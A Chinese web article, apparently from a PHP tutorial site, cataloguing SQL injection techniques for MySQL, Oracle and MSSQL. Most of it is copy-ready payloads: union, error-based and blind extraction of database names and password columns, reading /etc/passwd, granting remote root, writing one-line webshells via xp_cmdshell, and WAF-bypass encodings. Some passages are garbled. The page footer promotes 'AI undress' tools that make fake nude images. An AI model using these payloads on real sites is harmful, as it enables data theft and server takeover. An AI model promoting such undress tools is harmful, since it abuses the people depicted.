目录
前言
可显注入
报错注入
盲注
lian合注入
首页 运维 安全 SQL注入类型有哪些

SQL注入类型有哪些

May 18, 2023 pm 10:05 PM
sql

前言

SQL注入的攻击方式根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注。

可显注入

攻击者可以直接在当前界面内容中获取想要获得的内容。

报错注入

数据库查询返回结果并没有在页面中显示,但是应用程序将数据库报错信息打印到了页面中,所以攻击者可以构造数据库报错语句,从报错信息中获取想要获得的内容。

盲注

数据库查询结果无法从直观页面中获取,攻击者通过使用数据库逻辑或使数据库库执行延时等方法获取想要获得的内容。

Mysql 手工注入

lian合注入

?id=1' order by 4--+

?id=0' union select 1,2,3,database()--+

?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+

group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+

group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+
登录后复制

报错注入

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
登录后复制

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
登录后复制

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
登录后复制

4.geometrycollection()

select \* from test where id=1 and geometrycollection((select \* from(select \* from(select user())a)b));
登录后复制

5.multipoint()

select \* from test where id=1 and multipoint((select \* from(select \* from(select user())a)b));
登录后复制

6.polygon()

select \* from test where id=1 and polygon((select \* from(select \* from(select user())a)b));
登录后复制

7.multipolygon()

select \* from test where id=1 and multipolygon((select \* from(select \* from(select user())a)b));
登录后复制

8.linestring()

select \* from test where id=1 and linestring((select \* from(select \* from(select user())a)b));
登录后复制

9.multilinestring()

select \* from test where id=1 and multilinestring((select \* from(select \* from(select user())a)b));
登录后复制

10.exp()

select \* from test where id=1 and exp(\~(select \* from(select user())a));

爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema\_name),0x7e) from information\_schema.schemata limit 2,1),1) -- +

爆表:?id=1' and updatexml(1,(select concat(0x7e,(table\_name),0x7e) from information\_schema.tables where table\_schema='security' limit 3,1),1) -- +

爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column\_name),0x7e) from information\_schema.columns where table\_name=0x7573657273 limit 2,1),1) -- +

爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
盲注
登录后复制

时间盲注

常用函数 sleep()

分割函数 substr、substring、left

分割函数编码后可不用引号,ascii() hex()

一般时间盲注我们还需要使用条件判断函数

if(expre1,expre2,expre3)

当 expre1 为 true 时,返回 expre2,false 时,返回 expre3

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
登录后复制

布尔盲注

?id=1' and substr((select user()),1,1)='r' -- +

?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +

//如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +

//若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
insert,delete,update
登录后复制

这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,如用sqlmap会产生大量垃圾数据

尝试性插入、引号、双引号、转义符 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入
二次注入和宽字节注入

二次注入:

没有单引号的sql语句中,进行16进制编码,这样就不会带有单引号

宽字节注入:

单引号转义为 ' , mysql 会将 编码为 ,宽字节中两个字节代表一个汉字,所以把 � 加上 就变成了一个汉字“運”,从而绕过转义
Oracle 手工注入
lian合注入

?id=-1' union select user,null from dual--

?id=-1' union select version,null from v$instance--

?id=-1' union select table\_name,null from (select \* from (select rownum as limit,table\_name from user\_tables) where limit=3)--

?id=-1' union select column\_name,null from (select \* from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=2)--

?id=-1' union select username,passwd from users--

?id=-1' union select username,passwd from (select \* from (select username,passwd,rownum as limit from users) where limit=3)--
登录后复制

报错注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select table\_name from (select rownum as limit,table\_name from user\_tables) where limit= 3))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select column\_name from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=3))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
登录后复制

布尔盲注

?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--

?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--

?id=1' and ascii(substr(user,1,1))> 64--
登录后复制

时间盲注

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--

?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--
登录后复制

SQL手工注入
判断注入点是否存在

数字型注入

url后输入

and 1=1

and 1=2

如返回不同,则可判断注入点存在

例:

http://www.xxx.cn/news.php?p=1&id=4' 返回错误

http://www.xxx.cn/news.php?p=1&id=4 and 1=1 返回正确

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 返回错误

字符型注入

url后输入

' and 1=1 and '1'='1

' and 1=2 and '1'='1

http://www.xxx.cn/news.php?p=1&id=4' 返回错误

http://www.xxx.cn/news.php?p=1&id=4' and 1=1 and '1'='1 返回正确

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 and '1'='1 返回错误

搜索型注入

输入框中输入

' 返回错误

x%' and 1=1 and '%'=' 返回正确

x%' and 1=2 and '%'=' 返回错误
判断字段数

数字型

http://www.xxx.cn/news.php?p=1&id=4 order by 26 返回正确

http://www.xxx.cn/news.php?p=1&id=4 order by 27 返回错误

得出结论:字段数26。

字符型

http://www.xxx.cn/news.php?p=1&id=4' order by 26 # 返回正确

http://www.xxx.cn/news.php?p=1&id=4' order by 27 # 返回错误

得出结论:字段数26。

搜索型

x%' order by 26 # 返回正确

x%' order by 27 # 返回错误

得出结论:字段数26。
寻找可显示字段

数字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,3,4,5,6,7,8,9,....

字符型

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #

搜索型

x%' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #
查数据库名

数字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,database(),4,5,6,7,8,9,....

字符型

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #

搜索型

x%' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #
查数据库中表名

数字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='数据库名'

数据库名也可以使用十六进制

字符型

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='数据库名' #

数据库名也可以使用十六进制

搜索型

X%' and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,.... from information_schema.tables where table_schema='数据库名' #

数据库名也可以使用十六进制
查表中的列名

数字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名'

表名也可以使用十六进制

字符型

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名' #

表名也可以使用十六进制

搜索型

x%' and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,.... from information_schema.columns where table_name='表名' #

表名也可以使用十六进制
查表中的数据

数字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名

字符型

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名 #

搜索型

x%' and 1=2 union select 1,2,group_concat(username,password),4,5,6,7,8,9,.... from 表名 #

显示版本:select version();

显示字符集:select @@character_set_database;

显示数据库show databases;

显示表名:show tables;

显示计算机名:select @@hostname;

显示系统版本:select @@version_compile_os;

显示mysql路径:select @@basedir;

显示数据库路径:select @@datadir;

显示root密码:select User,Password from mysql.user;

开启外连:GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
MySQL函数利用

MySQL提供了load_file()函数,可以帮助用户快速读取文件,但是文件位置必须在服务器上,文件路径必须为绝对路径,而且需要root权限

SQL语句如下: union select 1,load_file(‘/etc/passwd’),3,4,5 #

通常,一些防注入语句不允许单引号的出现,那么可以使用一下语句绕过:

union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #

对路径进行16进制转换。
MSSQL手工注入

与SQL注入不同的是,SQL利用的爆出显示的字段,MSSQL利用的报错注入,插入恶意的sql语句,让查询报错,在报出的错误中,显示我们想要的信息。

注入点:

www.xxx.cn/xxx/xxx.aspx?id=1
查询数据库版本

@@version:MSSQL全局变量,表示数据库版本信息。

测试语句:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and @@version>0

注意:“and @@vsersion>0”也可以写成“and 0/@@version>0”

报错信息:

在将 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1

原因:

@@version是MSSQL的全局变量,如果我们在“?id=1”后面加上“and @@version>0”,那么“and”后面的语句会将“@@version”强制抓换成int类型与0比较大小,但是类型转换失败,所以就将数据库信息暴露出来。
查询计算机名称

@@servername:MSSQL全局变量,表示计算机名称。

报错信息:

在将 nvarchar 值 ‘WINDOWS-XXXXXX‘ 转换成数据类型 int 时失败。
查询当前数据库名称

db_name():当前使用的数据库名称。

报错信息:

在将 nvarchar 值 ‘abc‘ 转换成数据类型 int 时失败。
查询当前连接数据库的用户

User_Name():当前连接数据库的用户。

报错信息:

在将 nvarchar 值 ‘dbo‘ 转换成数据类型 int 时失败。

注意: 如果看到dbo,那么多半当前数据库的用户是dba权限。
查询其他数据库名称

爆其他数据库:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0

报错信息:

在将 nvarchar 值 ‘master‘ 转换成数据类型 int 时失败。

再爆其他的数据库则这么写:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0

继续的话要这么写:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','abc'))>0
查询数据库中的表名

查表名:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0)>0

报错信息:

在将 nvarchar 值 ‘depart‘ 转换成数据类型 int 时失败。

再爆其他表:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart'))>0

再继续:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart','worker'))>0
查询表中的列名或者是字段名

查字段名:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart')>0

报错信息:

在将 nvarchar 值 ‘ID‘ 转换成数据类型 int 时失败。

再爆其他字段:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart' and COLUMN_NAME not in('ID'))>0

再继续:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart' and COLUMN_NAME not in('ID','NAME'))>0
爆数据

查询数据:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 password from depart)>0

报错信息:

在将 nvarchar 值 ‘B5A1EF8730200F93E50F4F5DEBBCAC0B‘ 转换成数据类型 int 时失败。
写入一句话木马

如果数据的权限是dba,且知道网站绝对路径的话,那么我们就可以用这个语句来写一句话木马进去:

asp木马:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>''" > d:KfSitekaifeng2.asp'--

aspx木马:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=Jscript %>;<%eval(Request("sb"),"unsafe")%>''" >C:inetpubwwwroot2.aspx' --

原理是sql server支持堆叠查询,利用xp_cmdshell可以执行cmd指令,cmd指令中用【echo 内容 > 文件】可以写文件到磁盘里面。
利用hex编码绕过WAF

http://www.xxx.com/xxx/xxx.aspx?username=xxx 利用火狐浏览器中的hackbar工具的Encoding底下的“HEX Encoding”轻松把字符串编码成为可以利用的hex,然后利用报错注入就可以注入这个网站。
爆数据库版本

select convert(int,@@version)

hex编码后:0x73656c65637420636f6e7665727428696e742c404076657273696f6e29

然后使用如下方式注入:

http://www.xxx.com/xxx/xxx.aspx?username=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)–

报错信息:

在将 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)‘ 转换成数据类型 int 时失败。

注意后面的注入语句:

dEcLaRe @s vArChAr(8000) //声明一个局部变量@s,类型为varchar(8000)

sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 //给@s赋值,为“select convert(int,@@version)”的十六进制编码

eXeC(@s) //调用函数exec()执行“@s”中的内容。
爆当前数据库

select convert(int,db_name())
爆当前用户

select convert(int,User_Name())
爆表

select convert(int,(select top 1 name from abc[数据库名].sys.all_objects where type=’U’ AND is_ms_shipped=0)) select convert(int,(select top 1 name from abc[数据库名].sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘CMS_ArticleClass’)))
爆字段

select convert(int,(select top 1 COLUMN_NAME from abc[数据库名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’)) select convert(int,(select top 1 COLUMN_NAME from abc[数据库名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’ and COLUMN_NAME not in (‘id’)))
爆数据

select convert(int,(select top 1 username from CMS_Admin)) select convert(int,(select top 1 password from CMS_Admin))
SQL注入之你问我答小知识

1.id-1,页面如果返回正确页面说明是有注入,那 1可以吗?(www.test.com/xsn.php?id=12 1)

不行,因为加号在url里面是空格的意思。

2.你知道mysql里有几种注释方式吗?

三种:①.# 这个注释直到该行结束;②./注释多行/;③.– 这个注释直到该行结束。

第三种方法需要解释一下,因为我之前不熟悉这种写法。虽然对于‘-’作为注释符还有一些印象,但‘- ’却让我头痛。其实是– ,注意–的后面有一个空格。如果在URL中直接输入空格,浏览器会自动忽略它并无法传递到数据库。所以特意用加号代替。

3.“select select * from admin”可以执行吗?倘若不可以请说明。

不可以执行,在使用select双层的时候要把第二个括起来,否则无效。

如果空格被过滤掉了,你知道有哪些可以绕过吗?或者说你知道哪些字符可以替代空格?这些字符被称为空白字符。比如un ion会被当做union来处理。 假如空格被过滤了,可能的sql语句就会变成:select from messages where uid=45or1=1,我们可以使用//来替换空格: http://www.xxx.com/index.php?id=45//or/**/1=1 另外: /|–|/ /@–|/ /?–|/ /| – |/ 都可以替代空格。

5.Windows下的Oracle数据库是什么权限? Windows下的Oracle数据库,必须以system权限运行。

6.SQL注入和SQL盲注有何差别?

在常规的SQL注入中,应用返回数据库中的数据并呈现给你,而在SQL盲注漏洞中,你只能获取分别与注入中的真假条件相对应的两个不同响应,应用会针对真假条件返回不同的值,但是攻击者无法检索查询结果。

7.什么是引发SQL注入漏洞的主要原因?

Web应用未对用户提供的数据进行充分审查和未对输出进行编码是产生问题的主要原因。

8.什么是堆叠查询(stacked query)?

在单个数据库连接中,执行多个查询序列,是否允许堆叠查询是影响能否利用SQL注入漏洞的重要因素之一。

在MYSQL中,SELECT * FROM members; DROP members;是可以执行的,数据库是肯定支持堆叠查询的,但是让php来执行堆叠查询的sql语句就不一定行了。

/*! ...*/

是啥意思?

MYSQL数据库特有,如果在注释的开头部分添加一个感叹号并在后面跟上数据库版本编号,那么该注释将被解析成代码,只要数据库版本高于或者等于注释中包含的版本,代码就会被执行。

select 1 /!40119 1/

该查询结果:

返回2(MySQL版本为4.01.19或者更高)

返回1(其他情况)

10.如果注入语句中的‘=’被过滤?

可以考虑使用like关键字替换:union select password from users where username like admin;

11.如果空格被过滤? 可以考虑使用‘/**/’替换:

union//select//password//from//users//where//username//like//admin;

注意,如果过滤了关键字,在MySQL中,还可以在关键字内部使用内联注释来绕过:

uni//on//sel//ect//password//fr//om//users//wh//ere//username//like//admin;

12.SQL注入中的‘ ’?

MSSQL:在MSSQL中,“ ”运算符被用于字符串连接和加法运算,‘1’ ‘1’=‘11’,1 1=2;

MySQL:在MySQL中,“ ”运算符只被用于加法运算,‘1’ ‘1’=‘2’,1 1=2;

Oracle:在Oracle中,“ ”运算符只被用于加法运算,‘1’ ‘1’=‘2’,1 1=2。

13.数据库中字符串的连接符?

MSSQL:‘a’ ‘b’=‘ab’

MYSQL:‘a’ ‘b’=‘ab’

Oracle:‘a’||‘b’=‘ab’

14.注释符

MSSQL:‘-- ’(注意后面的空格),‘/.../’

MySQL:‘-- ’,‘# ’,‘/.../’,注意,--后面必须要有一个或者多个空格。

Oracle:‘-- ’,‘/.../’

三种数据库中,通用的注释符是‘-- ’
WAF绕过
规则层面的绕过
SQL注释符绕过

union/**/select

union/aaaabbs/select

union/aaaaaaaaaaaaaaaaaaaaaaaaaaaa/select

内连注释:/!xxxx/
空白符号绕过:

MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/

正则的空白符:%09,%0A,%0B,%0D,%20

Example-1:union%250Cselect

Example-1:union%25A0select
函数分隔符号:

concat%2520(

concat/**/(

concat%250c(

concat%25a0(
浮点数词法分析:

select * from users where id=8E0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=8.0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=\Nunion select

1,2,3,4,5,6,7,8,9,0
利用error_based进行SQL注入:

Error-based SQL注入函数非常容易被忽略

extractvalue(1,concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md5(3)),1);

GeometryCollection((select * from (select * from

(select@@version)f)x))

polygon((select*from (select name_const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()
登录后复制

MySQL特殊语法

select{x table_name}from{x information_schema.tables};
每一个点都能找到绕过的方法

以注释绕过为例子,开始Fuzz

注释符绕过:

*先测试最基本的: union/**/select

*再测试中间引入特殊字:union/aaaa%01bbs/select

*最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select

最基本的模式:

union/something/select

大小写绕过

即使在程序中设置了过滤关键字,但由于过滤过程中没有深入分析组成关键字的部分,所以只能对整体进行过滤。

例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。
常规绕过手段
双写绕过

如果在程序中设置遇到关键字时将其替换为一个空字符串,那么将不会发生SQL注入攻击。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。

例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。
编码绕过

可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。

http://tool.chinaz.com/Tools/urlencode.aspx 1
内联注释绕过

在Mysql中内容注释中的内容可以被当做SQL语句执行。
绕过过滤and和or的SQL注入

Mysql一些特性:

1、Mysql中的大小写不敏感,大写和小写一样。

2、Mysql中的十六进制与URL编码。

3、符号和关键字替换 and --> &&、or --> ||

4、内联注释与多行注释 /!内联注释/ /多行注释/。

5、Mysql中会自动识别URL与Hex编码好的内容。

绕过策略:

1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。

2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr

3、利用符号替代 and–>&&、or–>||
绕过去除空格的SQL注入

编码:hex,urlencode

空格URL编码:

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

Sqlmap安全检测:

sqlmap -u “URL” --hex --dbs --batch
绕过去除(union和select)的SQL注入

编码%0a、加入/**/符,union/select大小写、双写等绕过。

以上是SQL注入类型有哪些的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
3 周前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳图形设置
3 周前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您听不到任何人,如何修复音频
3 周前 By 尊渡假赌尊渡假赌尊渡假赌

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

Hibernate 框架中 HQL 和 SQL 的区别是什么? Hibernate 框架中 HQL 和 SQL 的区别是什么? Apr 17, 2024 pm 02:57 PM

HQL和SQL在Hibernate框架中进行比较:HQL(1.面向对象语法,2.数据库无关的查询,3.类型安全),而SQL直接操作数据库(1.与数据库无关的标准,2.可执行复杂查询和数据操作)。

Oracle SQL中除法运算的用法 Oracle SQL中除法运算的用法 Mar 10, 2024 pm 03:06 PM

《OracleSQL中除法运算的用法》在OracleSQL中,除法运算是常见的数学运算之一。在数据查询和处理过程中,除法运算可以帮助我们计算字段之间的比例或者得出特定数值的逻辑关系。本文将介绍OracleSQL中除法运算的用法,并提供具体的代码示例。一、OracleSQL中除法运算的两种方式在OracleSQL中,除法运算可以使用两种不同的方式进行

Oracle和DB2的SQL语法比较与区别 Oracle和DB2的SQL语法比较与区别 Mar 11, 2024 pm 12:09 PM

Oracle和DB2是两个常用的关系型数据库管理系统,它们都有自己独特的SQL语法和特点。本文将针对Oracle和DB2的SQL语法进行比较与区别,并提供具体的代码示例。数据库连接在Oracle中,使用以下语句连接数据库:CONNECTusername/password@database而在DB2中,连接数据库的语句如下:CONNECTTOdataba

详解MyBatis动态SQL标签中的Set标签功能 详解MyBatis动态SQL标签中的Set标签功能 Feb 26, 2024 pm 07:48 PM

MyBatis动态SQL标签解读:Set标签用法详解MyBatis是一个优秀的持久层框架,它提供了丰富的动态SQL标签,可以灵活地构建数据库操作语句。其中,Set标签是用于生成UPDATE语句中SET子句的标签,在更新操作中非常常用。本文将详细解读MyBatis中Set标签的用法,以及通过具体的代码示例来演示其功能。什么是Set标签Set标签用于MyBati

SQL中的identity属性是什么意思? SQL中的identity属性是什么意思? Feb 19, 2024 am 11:24 AM

SQL中的Identity是什么,需要具体代码示例在SQL中,Identity是一种用于生成自增数字的特殊数据类型,它常用于唯一标识表中的每一行数据。Identity列通常与主键列配合使用,可以确保每条记录都有一个独一无二的标识符。本文将详细介绍Identity的使用方式以及一些实际的代码示例。Identity的基本使用方式在创建表时,可以使用Identit

java怎么通过MySQL驱动拦截器实现执行sql耗时计算 java怎么通过MySQL驱动拦截器实现执行sql耗时计算 May 27, 2023 pm 01:10 PM

背景公司的一个需求,公司既有的链路追踪日志组件要支持MySQL的sql执行时间打印,要实现链路追踪常用的手段就是实现第三方框架或工具提供的拦截器接口或者是过滤器接口,对于MySQL也不例外,实际上就是实现了MySQL驱动的拦截器接口而已。具体实现MySQL的渠道有不同的版本,不同版本的拦截器接口是不同的,所以要针对你所使用的不同版本的MySQL驱动去实现响应的拦截器,接下来分别介绍下MySQL渠道5,6,8版本的实现方式。MySQL5这里以MySQL渠道5.1.18版本为例实现,实现Statem

SQL出现5120错误怎么解决 SQL出现5120错误怎么解决 Mar 06, 2024 pm 04:33 PM

解决办法:1、检查登录用户是否具有足够的权限来访问或操作该数据库,确保该用户具有正确的权限;2、检查SQL Server服务的帐户是否具有访问指定文件或文件夹的权限,确保该帐户具有足够的权限来读取和写入该文件或文件夹;3、检查指定的数据库文件是否已被其他进程打开或锁定,尝试关闭或释放该文件,并重新运行查询;4、尝试以管理员身份运行Management Studio等等。

Springboot+Mybatis-plus不使用SQL语句进行多表添加怎么实现 Springboot+Mybatis-plus不使用SQL语句进行多表添加怎么实现 Jun 02, 2023 am 11:07 AM

在Springboot+Mybatis-plus不使用SQL语句进行多表添加操作我所遇到的问题准备工作在测试环境下模拟思维分解一下:创建出一个带有参数的BrandDTO对象模拟对后台传递参数我所遇到的问题我们都知道,在我们使用Mybatis-plus中进行多表操作是极其困难的,如果你不使用Mybatis-plus-join这一类的工具,你只能去配置对应的Mapper.xml文件,配置又臭又长的ResultMap,然后再去写对应的sql语句,这种方法虽然看上去很麻烦,但具有很高的灵活性,可以让我们

See all articles